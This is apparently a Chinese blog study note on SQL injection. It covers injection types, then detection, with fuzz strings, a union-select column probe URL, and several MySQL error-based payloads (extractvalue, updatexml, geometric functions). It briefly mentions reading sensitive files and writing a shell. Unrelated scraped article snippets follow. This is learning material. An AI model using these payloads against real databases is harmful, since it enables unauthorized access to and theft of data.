Web安全学习笔记 SQL注入上

繁枝插云欣 ——ICML8


  1. SQL注入分类
  2. SQL注入检测

一.注入分类

1.简介

SQL注入是一种代码注入技术
用于攻击数据驱动的应用程序
在应用程序中,如果没有做恰当的过滤
则可能使得恶意的SQL语句被插入输入字段中执行
例如将数据库内容转储给攻击者

2.按技巧分类

根据使用的技巧,SQL注入类型可分为:

1.盲注

布尔盲注:

只能从应用返回中推断语句执行后的布尔值

时间盲注:

应用没有明确的回显
只能使用特定的时间函数来判断

2.报错注入

应用会显示全部或者部分的报错信息

3.堆叠注入

有的应用可以加入
后一次执行多条语句

4.其他方法

3.按获取数据的方式分类

根据获取数据的方式分为3类:

1.inband

利用Web应用来直接获取数据
如报错注入
这类注入都是通过站点的响应
或者错误反馈来提取数据

2.inference

通过Web的一些反映来推断数据
如布尔盲注,也就是我们通俗的盲注
通过web应用的其他改变来推断数据

3.out of band (OOB)

通过其他传输方式来获得数据
比如DNS解析协议和电子邮件

二.注入检测

1.常见的注入点

GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名

2.Fuzz注入点

' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
反引号执行

3.测试用常量

@@version
@@servername
@@language
@@spid

4.测试列数

例如

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回

5.报错注入

select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)

5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个commit 5caea4中被修复,在5.5.x较后的版本中同样不再生效。

6.堆叠注入

;select 1

7.注释符

#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/

8.判断过滤规则

是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码

9.获取信息

1.判断数据库类型

and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库

2.判断数据库表

and exsits (select * from admin)

3.版本、主机名、用户名、库名

4.表和字段

  1. 确定字段数
Order By
Select Into
  1. 表名、列名

10.测试权限

文件操作

读敏感文件
写shell

带外通道

网络请求

Web安全学习笔记 SQL注入上的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  3. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. Web安全攻防笔记-SQL注入

    information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库) information_schema的三个表: SCHEMAT ...

  6. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  7. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

  8. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

  9. ASP.NET Core Web开发学习笔记-1介绍篇

    ASP.NET Core Web开发学习笔记-1介绍篇 给大家说声报歉,从2012年个人情感破裂的那一天,本人的51CTO,CnBlogs,Csdn,QQ,Weboo就再也没有更新过.踏实的生活(曾辞 ...

随机推荐

  1. 学习GlusterFS(八)

    GlusterFS集群创建 一.简介 GlusterFS概述 Glusterfs是一个开源的分布式文件系统,是Scale存储的核心,能够处理千数量级的客户端.在传统的解决 方案中Glusterfs能够 ...

  2. Python - Python函数简介

  3. Tomcat警告之“资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间”

    原因 缓存不够,可以将其缓存调大 解决办法: 在 /conf/context.xml 的 前添加以下内容: <Resources cachingAllowed="true" ...

  4. 记MyBaits-Plus 实现菜单的无限层关系

    Mybatis-Plus父子菜单 首先来看一下实现的效果 pojo层 @Data @TableName("platform_role") public class Role imp ...

  5. django REST框架- Django-ninja

    Django 是我学习的最早的web框架,大概在2014年,当时选他原因也很简单就是网上资料比较丰富,自然是遇到问题更容易找答案,直到 2018年真正开始拿django做项目,才对他有了更全面的了解. ...

  6. 6. Git管理远程仓库

    6. Git管理远程仓库 使用远程仓库的目的 作用:备份,实现代码共享集中化管理 Git克隆操作 目的 将远程仓库(github对应的项目)复制到本地 代码 git clone 仓库地址 多学一招:仓 ...

  7. C++ | 虚函数表内存布局

    虚表指针 虚函数有个特点.存在虚函数的类会在类的数据成员中生成一个虚函数指针 vfptr,而vfptr 指向了一张表(简称,虚表).正是由于虚函数的这个特性,C++的多态才有了发生的可能. 其中虚函数 ...

  8. 【静态页面架构】CSS之定位

    CSS架构 1.浮动: 是以float属性设置容器指定的位置 <style> div { width: 200px; height: 200px; } #qq { background-c ...

  9. Kurento安装与入门02——运行示例前的准备

    官方一共提供了13个示例,这些示例运行的方式大同小异,一般会提供JAVA.Browser JavaScript.Node.js三种版本,这里仅演示java版本的示例.这些示例要求系统内已经正确安装了K ...

  10. 订单突破10000+,仅花1小时,APPx独家深入剖析背后的秘密!

    拼多多:成立三年,获客三亿,月订单成交额达到恐怖的400亿,成功上市! 糕妈优选:营销活动推送1小时,订单超过10000+,商品成功刷屏朋友圈! 寻慢:一场活动净增7000+粉丝,付款转化率高达71% ...